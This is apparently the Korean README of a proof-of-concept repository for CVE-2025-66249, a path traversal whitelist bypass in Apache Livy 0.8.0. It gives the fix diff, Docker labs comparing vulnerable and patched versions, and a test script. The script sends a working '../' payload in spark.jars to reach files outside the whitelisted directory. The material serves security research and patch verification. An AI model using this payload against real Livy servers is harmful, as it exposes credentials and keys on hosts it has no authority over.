
Apache Livy 경로 탐색 화이트리스트 우회 취약점에 대한 POC
교육 및 보안 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. → 전체 면책 조항
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-66249 |
| 심각도 | Important (CVSS N/A — 2026-03-15 기준 NVD 평가 대기 중) |
| 영향 | Apache Livy 0.3.0-incubating ~ 0.8.0-incubating — livy.file.local-dir-whitelist가 기본값이 아닌 값으로 설정된 경우에만 |
| 수정 버전 | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 제한된 디렉터리('Path Traversal')에 대한 경로명의 부적절한 제한 |
| 공개일 | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| 보고자 | Hiroki Egawa (발견자) |
Livy의 REST 또는 JDBC 인터페이스에 접근 권한이 있는 인증된 사용자는 허용된 디렉터리 화이트리스트를 벗어나는 조작된 파일 경로 구성 값을 사용하여 Spark 세션이나 배치 작업을 제출할 수 있습니다.
근본 원인 — 화이트리스트 검사에서의 경로 탐색 우회 (Session.scala)
livy.file.local-dir-whitelist가 구성되면 Livy 0.8.0은 원시(비정규화) 경로에 대해 Java의 String.startsWith()를 호출하여 제출된 경로를 검증합니다. 이 검사는 ../ 탐색 시퀀스를 사용하여 우회할 수 있습니다:
/opt/safe-data/../sensitive/secret.txt
원시 문자열이 /opt/safe-data로 시작하므로 검사가 통과하지만, 경로는 실제로 /opt/sensitive/secret.txt로 해석되며 이는 화이트리스트에 포함된 디렉터리를 완전히 벗어납니다.
트리거 조건: 이 취약점은 livy.file.local-dir-whitelist가 기본값이 아닌(비어 있지 않은) 값으로 설정된 경우에만 악용할 수 있습니다. 화이트리스트가 비어 있으면(기본값) 경로 검증이 완전히 건너뛰어지므로 이 문제가 발생하지 않습니다.
영향: Livy REST API를 통해 세션을 제출하는 공격자는 Livy 서버 호스트의 임의의 로컬 파일을 참조할 수 있습니다. 공유 분석 클러스터에서는 자격 증명, 키, 구성 파일 또는 Livy 프로세스 사용자가 읽을 수 있는 모든 데이터가 잠재적으로 노출될 수 있음을 의미합니다.
Session.scala취약한 버전(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
수정된 버전(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
두 버전 모두 공식 Apache Livy GitHub 리포지토리에서 다음의 정확한 명령어를 사용하여 직접 클론했습니다:
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| 버전 | 태그 | 확인된 커밋 | 로컬 경로 |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: 화이트리스트 검사 전 Paths.get().normalize() import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
v0.8.0에서의 영향:
원시 문자열 startsWith 검사는 경로 탐색 페이로드로 우회될 수 있습니다.
예: livy.file.local-dir-whitelist = /opt/safe-data인 경우
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (우회됨)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (차단됨)차이는 두 태그를 로컬에 클론(위 참조)한 후 다음을 실행하여 생성했습니다:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
이 PoC의 모든 단계는 다음 시스템에서 실행 및 검증되었습니다:
| 구성 요소 | 세부 정보 |
|---|---|
| 호스트 OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 커널 | 6.17.0-14-generic x86_64 |
| 아키텍처 | x86_64 |
| 총 메모리 | 15 GiB |
| Docker Engine | 28.2.2 |
| 호스트 JDK | OpenJDK 17.0.18 (호스트에서만 사용 — 컨테이너는 eclipse-temurin:11-jdk-focal 사용) |
| 컨테이너 기본 이미지 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark 버전 (두 이미지 모두) | 3.1.3 with Hadoop 3.2 |
| Livy 버전 — 취약한 이미지 | 0.8.0-incubating |
| Livy 버전 — 수정된 이미지 | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
전체 엔드투엔드 시퀀스 — 1단계부터 4단계까지 순서대로 진행합니다:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
참고: Livy는
docker run후 준비 상태가 되기까지 약 15~20초가 소요됩니다. 아래의 모든 단계에는 API 호출 전에 명시적인sleep 20이 포함되어 있습니다.
파일:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 0.0.0.0:8998에 바인딩, local 모드, 화이트리스트 = /opt/safe-data1a. 이미지 빌드:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
검증 — 이미지가 생성되었는지 확인:
docker images cve-2025-66249-vulnerable
예상 출력:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. 컨테이너 시작:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
검증 — 컨테이너가 실행 중인지 확인:
docker ps --filter name=livy-vulnerable
예상 출력:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Livy가 시작될 때까지 대기한 후 REST API 확인:
Livy는 요청을 처리하기 전에 초기화에 약 15~20초가 필요합니다.
sleep 20
curl -s http://localhost:8998/sessions
예상 출력:
{"from":0,"total":0,"sessions":[]}
1d. 컨테이너 내부의 디렉터리 구조 검증:
화이트리스트에 포함된 안전 파일이 존재하는지 확인:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
예상 출력:
This file lives inside the whitelisted directory.
화이트리스트 밖에 있는 민감한 파일이 존재하는지 확인:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
예상 출력:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
1단계의 취약한 컨테이너가 여전히 포트 8998에서 실행 중이어야 합니다.
test/validate.sh가 테스트하는 내용:
| # | 공격 | 페이로드 키 | Livy 0.8.0에서의 예상 결과 |
|---|---|---|---|
| 1 | Session.scala의 String.startsWith()를 통한 경로 탐색 | ../ 탐색이 포함된 spark.jars | HTTP 201 — 탐색이 화이트리스트를 우회함 |
2a. 스크립트 실행:
bash test/validate.sh
참고:
validate.sh는 다음과 같이 동작합니다:
- Livy가 응답할 때까지(최대 60초)
GET /sessions를 폴링하여 서버가 준비되었는지 확인합니다.curl을 통해../탐색을 사용하여 화이트리스트 밖의 파일(/opt/sensitive/secret.txt)을 대상으로 하는 조작된conf페이로드로POST /sessions요청을 보냅니다.- HTTP 응답 코드를 확인합니다: 201은 Livy가 경로를 정규화 없이 수락했음을 의미하고(취약), 400은 정규화 후 거부했음을 의미합니다(수정됨).
- 세션이 생성된 경우(HTTP 201), 스크립트는 서버를 깨끗하게 유지하기 위해
DELETE /sessions/{id}로 즉시 삭제합니다.- 테스트 후 요약을 출력하고 코드 1(취약) 또는 0(수정됨)으로 종료하므로 자동화된 파이프라인에서 사용하기에 적합합니다.
예상 출력:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. 취약한 컨테이너 중지 및 제거:
docker stop livy-vulnerable && docker rm livy-vulnerable
검증 — 컨테이너가 완전히 제거되었는지 확인:
docker ps -a --filter name=livy-vulnerable
예상 출력 (비어 있음 — 행 없음):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
파일:
docker/fixed/Dockerfile — 기본 이미지와 Spark 3.1.3이 동일하며 Livy 버전만 0.9.0-incubating으로 변경됨docker/fixed/livy.conf — docker/vulnerable/livy.conf와 동일 (동일한 화이트리스트, 포트, 모드)Spark, 기본 이미지 및 모든 구성을 1단계와 동일하게 유지하여 Livy만 유일한 변수로 격리합니다.
3a. 이미지 빌드:
docker build -t cve-2025-66249-fixed docker/fixed/
검증 — 이미지가 생성되었는지 확인:
docker images cve-2025-66249-fixed
예상 출력:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. 컨테이너 시작:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
검증 — 컨테이너가 실행 중인지 확인:
docker ps --filter name=livy-fixed
예상 출력:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Livy가 시작될 때까지 대기한 후 REST API 확인:
sleep 20
curl -s http://localhost:8998/sessions
예상 출력:
{"from":0,"total":0,"sessions":[]}
3d. 컨테이너 내부의 디렉터리 구조 검증:
수정된 컨테이너는 취약한 컨테이너와 동일한 픽스처를 사용합니다 — 이는 두 환경 간의 유일한 변수가 Livy 버전임을 확인합니다.
화이트리스트에 포함된 안전 파일이 존재하는지 확인:
docker exec livy-fixed cat /opt/safe-data/safe.txt
예상 출력:
This file lives inside the whitelisted directory.
화이트리스트 밖에 있는 민감한 파일이 존재하는지 확인:
docker exec livy-fixed cat /opt/sensitive/secret.txt
예상 출력:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
3단계의 수정된 컨테이너가 포트 8998에서 실행 중이어야 합니다. 스크립트는 동일합니다 — 변경 사항 없음.
2단계와 4단계 간의 변경 사항:
Paths.get().normalize()로 경로를 정규화합니다4a. 스크립트 실행:
bash test/validate.sh
예상 출력:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
오류 메시지가 확인하는 내용:
| 공격 | HTTP | 오류 메시지 | 수정된 근본 원인 |
|---|---|---|---|
spark.jars를 통한 경로 탐색 | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Session.scala에 Paths.get(...).normalize() 추가 — 화이트리스트 비교 전에 ../ 해석 |
4b. 수정된 컨테이너 중지 및 제거:
docker stop livy-fixed && docker rm livy-fixed
검증 — 컨테이너가 완전히 제거되었는지 확인:
docker ps -a --filter name=livy-fixed
예상 출력 (비어 있음 — 행 없음):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249는 Livy의 로컬 파일시스템 접근 경로를 보호하는 화이트리스트 적용(whitelist enforcement)의 단일하고 표적화된 논리 결함입니다.
화이트리스트(livy.file.local-dir-whitelist)는 영향을 받는 모든 버전에 존재했으며 올바르게 구성되어 있었습니다. 실패 지점은 화이트리스트가 평가되는 방식에 있었습니다:
경로 탐색 우회(유일한 약점): Session.scala의 화이트리스트 비교는 원시 경로 문자열에 대해 Java의 String.startsWith()를 사용했습니다. 이는 .. 탐색 세그먼트를 고려하지 않기 때문에 파일시스템 경로 비교에 충분하지 않습니다. /opt/safe-data/../sensitive/secret.txt와 같은 경로는 화이트리스트 항목 /opt/safe-data에 대한 문자열 검사를 충족하지만 실제로는 그 완전히 밖의 위치로 해석됩니다.
0.9.0의 수정은 최소화되고 표적화되어 있습니다: 화이트리스트 비교 전에 Paths.get().normalize() 호출 한 번이 추가됩니다. 이는 startsWith 검사가 실행되기 전에 모든 .. 세그먼트를 해석하므로 탐색 페이로드가 허용된 디렉터리 밖을 가리키는 것으로 올바르게 식별됩니다.
방어자를 위한 핵심 시사점: 이 취약점은 livy.file.local-dir-whitelist가 비어 있지 않은 값으로 설정된 경우에만 악용할 수 있습니다. 이는 기본 구성이 직접적으로 취약하지 않다는 것을 의미하지만, 화이트리스트를 강화한(즉, Livy가 접근할 수 있는 디렉터리를 명시적으로 제한한) 배포는 역설적으로 노출됩니다 — 결함이 있는 코드 경로를 활성화하는 것이 바로 화이트리스트의 존재이기 때문입니다. Livy 0.9.0-incubating으로 업그레이드하는 것이 유일한 완전한 해결책입니다.
이 PoC 또는 문서를 개선하기 위한 기여를 환영합니다! 기여 시 다음 사항을 준수해 주십시오:
기여하려면 풀 리퀘스트를 열거나 제안된 변경 사항을 설명하는 이슈를 제출하십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
이 리포지토리는 교육 및 보안 연구 목적으로만 제공됩니다. 개념 증명은 이해와 방어 조치를 돕기 위해 취약점 메커니즘을 시연합니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation